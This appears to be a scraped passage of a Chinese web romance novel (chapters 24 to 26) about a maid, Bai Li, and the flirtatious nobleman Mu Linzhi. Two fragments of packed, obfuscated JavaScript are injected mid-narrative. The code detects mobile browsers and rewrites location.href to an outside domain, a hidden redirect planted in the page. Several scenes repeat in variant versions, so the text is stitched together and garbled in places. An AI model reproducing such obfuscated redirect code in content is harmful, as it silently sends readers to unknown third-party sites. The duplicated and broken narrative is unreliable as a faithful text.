眼底出现一双金丝黑靴,白荔移开目光,默默往后退了一步。 然而她后退一步,却眼看着牧临之也追上来一步,羽睫抖动,心下有些慌张,又往后退了一步,牧临之却紧追不舍,缓缓逼近过来,直将她困于博古架前。 他身上的味道很特别,很好闻,橘皮的清香又加上些淡淡酒香,就如同那一天坐的马车上的味道一样,霸道地直冲她的鼻端。 白荔进退两难,心里慌得直打鼓,只能捏紧手指,垂下眼睫,掩饰住眼底的慌乱。 “……公、公子,你做什么?” 牧临之见白荔只能困在自己身前,再也无处可去,这才满意地停住,不再朝前逼迫,伸出手来,指了指自己,“你觉得,我是个什么样的人?” 白荔有些疑惑他怎么突然问这么个问题,为难地咬了咬唇。 这个问题同样进退两难,教人不好回答。 若是在别院的这几日,依她亲身经历过的,他实在是一个好脾气的主子,对下人宽宏大度,对她和长微也照顾有加; 若说是放在以前,他也是令她下意识想要去亲近的好哥哥。 但若从旁人口中听到的,他摇身一变,又成了一个不折不扣的浪子、万花丛中过的风流公子,是个尤其要小心应对的存在。 这个问题,白荔一时不知道该怎么回答。 实在别无他法,她只能垂着眼睛,折中回答道,“公子是我和长微的恩人,是……是一个好人。” “好人?” 牧临之一愣,被这个回答打的有些措手不及,“我在你眼里……是个好人?” 就这? 白荔心神不定,不知道他此刻戏谑的语气是个什么意思,只能犹豫了一下,又小声补充道,“公子宅心仁厚,救我于水火之中,若不是当日公子的侠义之举,奴婢早已……” 牧临之轻笑几声,摆了摆手,懒洋洋地打断了她,“好了,行了。” 被扣上好人这么一大顶帽子,牧临之忍俊不禁,有些哭笑不得,慢悠悠走回到了书案前,拿起笔山上的狼毫,饱蘸了墨汁,便利落地挥墨起来。 他虽然没有再继续开口说话,但是侧脸瞧上去不像是心情不好的样子,达官贵人多是阴晴不定,难以揣测,白荔心惊胆战地站在一旁观察了一会,发现他始终没有什么别的举动,一颗心才慢慢地平静下来。 牧临之笔走龙蛇,专心致志,不到半柱香的时间便完成了画作,画完之后,他将手里的狼毫随意一丢,拿起镇纸下的宣纸仰头欣赏着,满意地点了点头,“嗯,不错。” 他向她发出了邀请,“过来,瞧瞧我这幅画如何。” 白荔一怔,也有些心动之意。 牧临之的水准,她是知道的,他的工笔精妙绝伦,小小年纪造诣便超出常人,远在她之上。 也是因为这一层原因,幼时的她总爱黏着他,对他十分崇拜。 不知过了这么多年,他的工笔是否更上一层楼,不过凭着郡公府时那几个公子哥对他的交口称赞,应该已是臻致化境了。 有的时候白荔听着他风流多情的传闻,忍不住在想,牧临之此人,本就是个潇洒随性的性子,这么多年就没有变过,上天给了他得天独厚的家世,英俊不凡的容貌,还有一身琴棋书画的好本事。 这样的一个人,实在不知是他将风流天下的名声带动了起来,还是风流的名声令他更加声名大噪。 白荔这样想着,缓缓朝他走去,期待看到他手中的将是怎么样的大作,可是目光触到宣纸,她一怔。 随即目光飘忽,有些不知所措起来。 只见洁白的宣纸上,寥寥几道功底精炼的笔墨,勾勒出湖中荷叶、一一风荷举,花团锦簇的小亭上,一名白衣女子正在抱琶弹奏,整张画作看上去浑然天成,又引人遐思。 画中女子的面容留白,看不清是谁,但是白荔一眼便认了出来,那画中的女子,便是自己。 她脸色一变,盯着画作,站在原地一动不动,不一会儿,玉面爬上了淡淡的红晕。 她张了张红唇,实在是夸不出口,踌躇了半晌,才讷讷道,“……公子的工笔精妙,炉火纯青,奴婢拜服。” “是吗?这荷风送香,亭中美人,的确是不错的景致,可我觉得还不够好。”牧临之左看看右看看,摆出一副不满意的样子,懒洋洋道,“好像还缺了点什么。” 白荔不知道他又在搞什么鬼名堂,不安地顺着回应,“缺了……什么?” 牧临之放下宣纸,转头看向白荔,托着下巴,缓缓地凑近她,身上那独有的酒香和橘皮香又萦绕在了她的鼻端。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576517|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白荔呼吸一顿,下意识地就要往后退。 没想到牧临之根本不给她这个机会,男人颀长的身躯低下来,拱起腰身凑近她,如同一头精准狩猎的豹子,手指迅速地伸出,捻了捻她的红唇。 白荔愣住。四目平视,牧临之一双笑意盈盈的丹凤眼潋滟多情,透着些玩味,又透着些无赖的轻佻。 等到她回过神来,他的手指早已离开了她涂着朱红色胭脂的唇瓣,笑着直起身,转身用饱蘸着胭脂的指腹,缓缓涂抹在了宣纸之上。 一池墨色的水面清圆,点缀上了一抹昳丽的红,像是活了过来似的跃然纸上,仿佛被风一阵吹过,就要随风轻拂。 牧临之收回手,终于满意了,“万叶丛中一点红,这不就有了?” 白荔面红耳赤,反应过来之时,才发现自己心脏砰砰直跳,半天说不出一句话来。 手足无措之际,长林如同天降救星一般,正好从外面跑了进来,催促道,“公子公子,李公子来了,正在前厅等您呢。” 长林说完便顿住了,看着白荔红扑扑的玉面,一时有些语塞。 与这位白姑娘相处了几日,他还算是清楚,这位白姑娘虽然长得貌比天仙,身段也妖娆,但却总是冷着个脸,没有太多的表情,仿佛任何事情在她眼里都是淡淡的、倦乏的,犹如高岭之花一般,教人不好亲近。 可此刻的她,玉面染霞,眼尾发红,一双愠怒的水眸美目生春,半点看不出怒气,反而犹如一把小勾子般勾的人心里痒痒的。而他家公子则还是素日里的倜傥模样,一脸的春风满面、言笑晏晏,像是得逞了的一只狐狸,俨然就是罪魁祸首。 他是不是进来的不是时候? 李公子? 李皋! 白荔快速从羞赧里走了出来,一双又羞又怒的美目变得激动。 李皋他来找牧子衿了,会不会他的身边还带着丹樱? 一想到丹樱,她心绪激荡,难为情什么的暂时抛到了一边顾不上。 牧临之看了一眼她难掩克制的神色,便知道她心里在想什么,想带着她一起前去,转念一想,还是作罢了,只淡淡吩咐,“你在这里候着,若是有事的话,我会传你的。” 若是丹樱真的被李皋带了来,他自然可以领她去姐妹团聚,但若是没有的话,他还是不想让她一个人去面对其他的男人。 白荔并不清楚牧临之的想法,玉面哀柔,强忍下满心的不愿,点头安静称是。 她听从他的吩咐,安静地待在书房等待传唤,渴望能够见一面丹樱,结果这一等便是从傍晚等到了天黑,直到辰时末,牧临之仍是一去不回。 就在她枯坐无果,渐渐心灰意冷时,长林终于披着夜色出现了,说公子叫她过去。 白荔大喜,立刻起身,揉揉酸软的小腿,跟着长林快步去往了前厅。 可惜踏进前厅,她只看到了一桌子的杯盘狼藉,牧临之一个人懒洋洋地趴在桌上,李皋已经离去了。 白荔看着眼前的画面,失望至极,按捺下满腹的委屈,不情不愿地来到牧临之跟前,柔声唤他醒来。 耳边听到轻轻柔柔的声音,趴在桌上的牧临之慢慢抬起头,看向眼前的佳人,勾唇一笑,含糊道,“唔……你来啦?” 他一身的酒气,看样子又喝了不少,白荔来到别院之后已经对他这幅样子见怪不怪,平静道,“公子稍候,奴婢去给您端醒酒汤。” 刚要起身,便被他伸手一把攥住,“芮芮,你别走。” 白荔脸色一变,刹那间忘记了接下来的动作。 芮芮,是她的乳名。 25. 第 25 章 她已经很久很久,没有听到有人再这么唤她了。 脱口而出了心心念念的小字,牧临之暗道不好,见她浑身僵住的模样,他侧过脸去,继续装醉,含糊不清地打岔道,“唔,你别误会,没让你过来,是因为李皋他没有带丹樱过来。” 丹樱没有过来吗? 听到这话,白荔满腹的失望消散了去,也顺势抹掉了刚才一瞬间的心乱。 这样也好。 丹樱刚去李皋身边,若是现在就出双入对地伴在左右,难免不会招其他女人的眼,这样循序渐进慢慢来,也是好事。 这样想着,白荔的眼神柔和下来,牧临之的手还是攥着她,没有松开,她扯了扯,又言归正传,淡淡道,“公子,请松手,奴婢去给您拿醒酒汤。” “不必,扶我起来。” 白荔只得领命,弯下了腰,费了好大的劲才将他扶了起来。 牧临之看着生的颀长清癯,没想到竟是这般沉,男人像一条没骨头的蛇一样,大半个身子都歪在她的身上,只压的白荔微喘吁吁。 “公子、你……”白荔无助地向他求助,希望能够得到他的配合,“你能不能往另一边挪挪……” “嗯?”牧临之装作一副醉狠了的样子,拿一双醉眼朦胧的丹凤眼懵懂地朝她看,又朝她的身子方向歪了歪,“……是这里吗?” 他低下身,高挺的鼻梁顺势埋入她香香软软的脖颈,只觉得扑鼻一阵馥郁芬芳,说不出的神魂荡漾。 玉白的一截脖子泛上男人密密麻麻的呼吸,白荔痒的缩了缩,更显出锁骨深壑,在淡淡的月色清辉下诱惑无尽。 “不是这里……”她面红耳赤,苦不堪言,只觉得身上压了一座大山,无助地抬头四处张望,指望长林能够出现,可是不知怎么的,长林带她过来之后,便再也找不见了。 “公子……”见始终找不到长林,无人接替她的工作,白荔破罐子破摔,只能推开他的脸,咬着红唇,换了一个姿势,艰难地扶着他,朝前走去。 两人慢慢走出一段路,走几步,白荔就得停下来歇息一会,一番折腾下来,玉白的琼鼻开始沁出几滴汗珠。 眼前不远处出现一片假山,她双眼发亮,拉着他便朝假山那里走过去。 “公子,您先在这里歇一歇,奴婢去叫长林过来……” 白荔一边说,一边扶着他走到假山跟前,脚底不知踩了什么东西,不听使唤似的,忽然向前栽去。 她短促地惊叫一声,眼睁睁就要带着他双双跌下去。 就在这时,腰间缠上一条柔韧的手臂,牧临之灵巧地揽住她的腰,将她压在石壁上,稳稳扶住。 他凑过来,垂下头,担忧地看着她,“芮芮,你没事吧?” 男人欺身压了过来,身上扑面而来的气息传来,白荔脸色一红,来不及去追究他怎么忽然灵敏起来的反应,面红耳赤地侧了侧身子,玉手护住柔软的胸口,将他往后推,“公子,你先放开我……” 牧临之凑近她,颀长的身躯将她轻轻松松地困在假山与自己之间,眸光深深,温热的呼吸打在她的香腮,周身的气息混着酒气,侵略感极强。 “……我怎么了吗?”他一脸懵懂,不退反进,大手攥着她的腰肢不松手,更近地凑了过去,盯着她羞涩的玉面,“芮芮,你的脸怎么这么红,是有哪里不舒服吗?” 两人身体相贴,气息相缠,怦怦乱跳的不知道是她的心跳,还是他的。 白荔更紧地缩了缩身子,慌乱的不知如何是好,僵持片刻,她福至心灵,忽然扭过头来,直直地盯着牧临之。 眼前的男人似笑非笑地看着她,醉酒的眼中没有恍惚,只有清明。 他根本就是在装醉,在戏弄自己! 白荔一把推开牧临之。 她轻咬唇瓣,忍了又忍,才将心头的那点火气压了下去,恼怒道,“公子,我看您的酒是醒了。” 美人一怒,别有风情,含嗔带怨的一双美目瞪着他,不仅一点也没有威慑力,反倒水光潋滟,多了几分艳光四射,活脱脱像是一只虚张声势、炸了毛的小奶猫。 牧临之看着看着,唇角翘起,心中愈发喜欢。 “你白天的时候说,我是个好人……” 他不紧不慢道,缓缓逼近她,盯着她颤抖的羽睫和慌乱的美目,薄唇贴近她发烫的美人面。 “那你现在还觉得,我是个好人吗?” 低缓灼热的呼吸扑洒在脸上,白荔整个呼吸都提了起来,像是最敏感的兔子感应到了最矫健的野兽,立刻僵住身子,不敢乱动,楚楚可怜地看着他。 牧临之抬手,抚上她颤抖的红唇,拇指温柔地轻触,远远看去,两人像是这世上最柔情蜜意的情人。 “你知不知道,男人在私底下,会有多么的坏。” 说罢,他扳起她的下颌,低下头去,在夜色中看着她,缓缓凑近。 白荔呼吸骤停,下意识就要把他推开,可是双手却在不知不觉间早已被他擒住,高高扣在了头顶。 此时此刻,那个白日里春风拂面的公子哥不见了,取而代之的是强烈到令人毫无反抗之力的危险男人,陌生又危险。 他这般调弄她已经不是一次两次了,可是从没有哪一次,令白荔感到这样的紧张。 她心中又慌又乱,求助地看向周围,想要大声呼救,可是转念又一想,这整个别院都是他的,所有人都要听他的话生存,自己这番行为,怕是要竹篮打水一场空。 况且牧临之风流的名声不是一日两日了,怕是就算被人看到,也只会司空见惯地绕道走,装作什么也没有看见。 白荔越想越绝望,眼看男人的薄唇贴了过来,近在咫尺,她呼吸紊乱,下意识紧闭双眼。 出乎意料的,没有预想到接下来的轻薄,她等了一会,在寂静中缓缓睁开了双眼。 牧临之看着她,似笑非笑。 他鼻尖的距离就停在她的鼻尖,再往前挪动一毫,两人就能碰上。 牧临之缓缓地松开手,从她身前撤了出来,好整以暇地理了理袖子上的褶皱。 “可怜见的,瞧把你吓的。”他轻缓道,仰头看了一眼天上的弯月,对她道,“不妨抬头看一看,今夜的月色可真美。” 说罢,他朗笑而去,如同画中飘逸的月下仙人,很快消失在她的眼前。 白荔如蒙大赦,扶着假山缓缓倒下,只觉浑身的力气都被抽空。 她是没有兴致去看天上的弯月的,只是恨恨地盯着牧临之离去的方向,红唇紧咬。 . 牧子衿这登徒子! 竟然三番两次戏弄于她! 长微跟着长林巡逻了一圈,难得无事,一股脑就溜了回来,便看到白荔姐姐在屋里不断踱步,眉目忧心忡忡。 “姐姐,你这是怎么了?” 长微看的满头雾水。 他很少从白荔姐姐的脸上看到强烈的情绪,面对任何事情,她都是淡淡的,好似再大的事情到了她这里便不是事。 “是谁欺负姐姐,惹你生气了吗?”他更加疑惑。 能让姐姐这样生气的人,那得有多可恶啊。 “姐姐别怕,长微从长林哥哥那里学了不少本事,长微不会让人欺负姐姐的。”小小的少年拍拍胸脯,在她面前保证。 白荔停下踱步,心中涌出感动,俯身摸了摸他的头,“长微乖,没有人欺负姐姐。” “那姐姐为何这般苦恼呢?” 白荔一怔,玉面诡异地一红,转瞬即逝,摇了摇头,“没有苦恼,姐姐只是想你的丹樱姐姐了。” “是这样啊。”长微一下子明白了,也对,能够让白荔姐姐这般牵肠挂肚的人,也只能是丹樱姐姐了。 “姐姐别难过,丹樱姐姐那样好的一个人,一定不会受委屈的,她一定会过得很好很好,姐姐放心。” 小孩子的话总是充满憧憬,令人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“多谢公子关心,奴婢睡的不错。” 牧临之昨夜饮了不少酒,他自诩千杯不醉,但是看到眼前人时,还是少有的犯了些热意。 他心里想的注意很明白,先将她带回府上,之后再徐徐图之,可是都怪昨夜的酒,竟令他差点失了章法,险些犯下错事。 他正想找个由头,轻描淡写地跟她赔个不是,没想到她却神色平静,回答的淡然若水,像是什么也没有发生过一样。 这倒是让牧临之有些琢磨不透了。 难道昨夜之事,她根本就没放在眼里? 这几年的时光与经历,已经将她的心性打磨的这般刀枪不入了吗?他多番试探,她竟岿然不动,稳若泰山。 牧临之这般想着,有些心疼,又有些说不出来的微妙之感。 “公子唤奴婢前来,所为何事?” 牧临之收回心绪,轻轻哦了一声,“没什么事,就是李皋设宴,邀我午后前去郡公府,你想不想跟我一道?” 白荔听到李皋这个字,呼吸一顿。 她当然是想一起的,去看一看丹樱。 转念又一想,他果然是浑不在意,丝毫不将昨夜之事放在心上。 终究是她庸人自扰了。 “公子,奴婢……” “不过,我可提醒你一句。”牧临之见她就要答应下来,忍不住接着泼了一盆凉水,“那位中郎将大人,怕是也会前去。” 白荔顿住,想说的话再也说不出口。 牧临之嘴里的那位中郎将大人,自然是陆禀了。 “在你落水时第一时间救你,还一反常态地出手讨要你,这位中郎将大人,似乎对你颇有情意啊。”牧临之斜乜了她一眼,忍不住心中发酸,悠悠道,“能告诉我,你和他之间,到底有什么故事吗?” 26. 第 26 章 出乎意料的,没有预想到接下来的轻薄,嘴唇没有想象中的触感,她等了一会,在寂静中缓缓睁开双眼。 牧临之看着她,似笑非笑。 他鼻尖的距离就停在她的鼻尖,再往前挪动一毫,两人就能碰上。 “可怜见的,瞧把你吓的。” 说完后,他缓缓松开了手,从她身前撤了出来,好整以暇地理了理袖子上的褶皱。 白荔整个人还处于混沌之中,似乎还搞不清楚状况,她迷茫地眨了眨眼,凝脂般的小脸上还残留着娇艳的绯云,水光涟漪的一双杏眼怯怯地看着他,楚楚可怜地诱人采撷。 这幅难得一见的模样让牧临之立时生出冲动和后悔,几乎要倾下身真的吻下去。 不过,循循善诱,徐徐图之,这才更有意思啊。 想到这里,牧临之很好地忍住了,他转过身,仰头看了一眼天上的弯月,伸手指了指,“你瞧。” “今夜的月色可真美。” 白荔顺着他的话,也慢慢抬起头。 天上一轮孤月,如同女子弯弯的娥眉,又如同一块发光的寒冰,穿过层层轻纱般的暗云,散发着柔柔的清辉。 “好了,趁着月色还亮,早些回去吧,长微那孩子估计还在等你,我这里就不用你伺候了。” 说罢,牧临之朗笑而去,如同飘逸的月下仙人,衣袍潇潇带风,说不出的落拓潇洒。 白荔望着牧临之离去的方向,不知不觉间看了好久。 等她回过神来时,发现自己不知何时扶着假山缓缓倒下了,依靠在石壁上,浑身上下的力气似乎都被抽空。 白荔抬起眼,看了一眼天上的弯月,又转过眸,盯着牧临之离去的方向,神色复杂地咬了咬唇。恢复了力气之后,她扶着石壁缓缓起身,头也不回地离去了。 . 牧子衿这登徒子! 竟然三番两次戏弄于她! 长微跟着长林巡逻了一圈,难得无事,一股脑就溜了回来,便看到白荔姐姐在灯光下不断踱步,脸色看上去不太好。 “姐姐,你这是怎么了?” 长微看的满头雾水,又想起了什么,献宝似的从胸前掏出手帕,小手小心地剥开,将里面的点心殷勤地递给白荔,“姐姐,这是落枫姐姐让我交给你的枫糖饼,说是她亲手做的,可好吃了,你快尝尝。” 白荔这阵子接收到了落枫等人屡屡对她的善意,心中一暖,对他柔声道,“帮我谢谢落枫姐姐的好意,不过我现在不饿,长微,你多吃一点吧。” “真的吗?姐姐你真的不饿吗?”长微皱着眉头,“可是长微看姐姐一个下午都没吃东西呢。” 白荔摇了摇头,微笑道,“姐姐真的不饿,你吃吧。” “……好吧。”长微舔了舔嘴唇,将点心再次小心翼翼地收了起来,准备存着明天吃,做好这一切后,他小心地觑了一眼白荔,开口问道。 “是谁欺负姐姐,惹姐姐生气了吗?” 他很少从白荔姐姐的脸上看到什么强烈的情绪,面对任何事情,她都是淡淡的,好似再大的事情到了她这里便都不是事。 可是他刚才好像看到,姐姐的脸色很难看。 姐姐似乎在生气。 就算是郡公府那次落水,姐姐都没有发大脾气。 能让姐姐这样生气的人,那得有多可恶啊。 “姐姐别怕,长微这些天在长林哥哥那里学了不少本事,长微不会让人欺负姐姐的。”长微站在她面前,拍拍胸脯,对她保证道。 白荔看着眼前小小的少年,心中涌出感动,忍不住勾唇,摸了摸他的头,“长微乖,没有人欺负姐姐。” “那姐姐为何这般苦恼呢?” 白荔一怔,玉面诡异地一红,不过转瞬即逝,她随即摇了摇头,“没什么事,姐姐只是……只是想你的丹樱姐姐了。” “是这样啊。”长微一下子就明白了。 也对,能够让白荔姐姐这般牵肠挂肚的人,也只能是丹樱姐姐了。 “姐姐别难过,丹樱姐姐那样好的一个人,一定不会在府上受委屈的,她一定会过得很好很好,姐姐放心。” 小孩子的话总是充满憧憬,令人心生喜悦。白荔捏了捏他的小脸,温柔笑了笑,“好,那就如长微所言。长微饿了吗?想吃什么,姐姐给你做好不好?” “好!”听到有好东西吃,长微立刻两眼放光,高兴道,“长微想吃蜜饯糖糕。” “好,就给你做蜜饯糖糕。” 半个时辰后,长微吃着刚出锅的热乎乎的蜜饯糖糕,吃的满嘴生香,稚嫩的声音突然感慨道,“姐姐,这里的日子比在郡公府强了千百倍,吃的好,穿的也好,还有那么多好心肠的哥哥姐姐,长微真的好喜欢这里啊,姐姐,咱们就一直住在这里,永远不离开好不好?” 这话说的不假,白荔的住处为一间一厢,长微就住在她的隔壁,两人不与别的下人厮混在一处,而是独占了一个小院。 值夜的时候,白荔就宿在牧临之寝室外面的耳房,无事的时候就回来与长微一起住,平时长微有长林等护卫照顾着,还时不时去落枫那里转一转,她用不着操很多心。两人有吃有喝,日子过的舒心自在。 刚开始的时候,白荔还觉得自己身为奴婢,这样的安排实在是不妥当,恐怕会招人嫉恨,每天都过的提心吊胆的,可是日子久了,她见识到长林落枫等人在这里的肆意自在,而且每个人都对她十分友好,不是装出来的,她这点担心,好像也不值一提了。 童言无忌,落到白荔的耳里,却是让她一下子想通了。 是啊,她何必与牧子衿置气呢? 牧子衿本就是一个风流浪子,想必这样戏弄人的手段早已信手拈来,根本不会放在心上。 她在这里又羞又气的,当成了天大的一回事,当事人怕是早就忘了个一干二净。 想起别院里那一群莺莺燕燕的姐妹,个个过的随性尽欢,她们估计全部都被牧子衿那样对待过,可是她们都毫不在意,快活一天是一天,她又何必钻进牛角尖,自己跟自己过不去呢? 她只要吃的好,睡的香,能够有一个安身立命的一亩三分地就行了,如今这个目标算是达成了一半,怎么还在这种细枝末节上较真了呢? 白荔茅塞顿开。 怪她糊涂,差点就忘了,他已经不再是当初的那个子 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可是都怪昨夜的酒,看到自己得偿所愿,佳人就在他眼前时,竟令他差点失了章法,险些犯下错事。 他昨夜有些孟浪,怕是要让她吓坏。 醒来之后,他后悔不迭,正想找个由头,轻描淡写地跟她赔个不是,没想到她此刻却是神色平静,回答的淡然若水,像是什么也没有发生过一样。 这倒是让牧临之有些琢磨不透了。 难道昨夜之事,她根本就没有放在眼里? 或者这几年的时光与经历,已经将她的心性打磨的这般刀枪不入了吗?他多番试探,她竟岿然不动,稳若泰山。 牧临之这般想着,有些心疼,又有些说不出来的微妙之感。 他记得她以前,矜贵和端庄是刻在骨子里的,他随意逗上一句,她便羞得不知所措,颇为玉雪可爱,他爱不释手,她越羞,他越要逗,往往是把她给气狠了,好几天不理人。 如今,到底是不一样了。 牧临之缓缓收回心绪,心中不知是何滋味,笑了笑,道,“哦,对了,李皋设宴,邀我午后前去郡公府,你想不想跟我一道?” 白荔听到李皋这个字,呼吸一窒。 她当然是想去的,丹樱在那里。 转念又轻轻一叹,听他轻松的语气,他果然是一点都不在意,丝毫不将昨夜之事放在心上。 终究是她庸人自扰了。 “公子,奴婢……” “不过,我可提醒你一句。”牧临之见她就要答应下来,忍不住接着泼了一盆凉水,“那位中郎将大人,怕是也会前去。” 白荔顿住,想说的话再也说不出口。 牧临之嘴里的那位中郎将大人,还能是谁,自然就是陆禀了。 “在你落水时第一时间救你,还一反常态地出手讨要你,这位中郎将大人,似乎对你颇有情意啊。”牧临之斜乜了她一眼,忍不住心中发酸,悠悠道,“能告诉我,你和他之间,到底有什么故事吗?”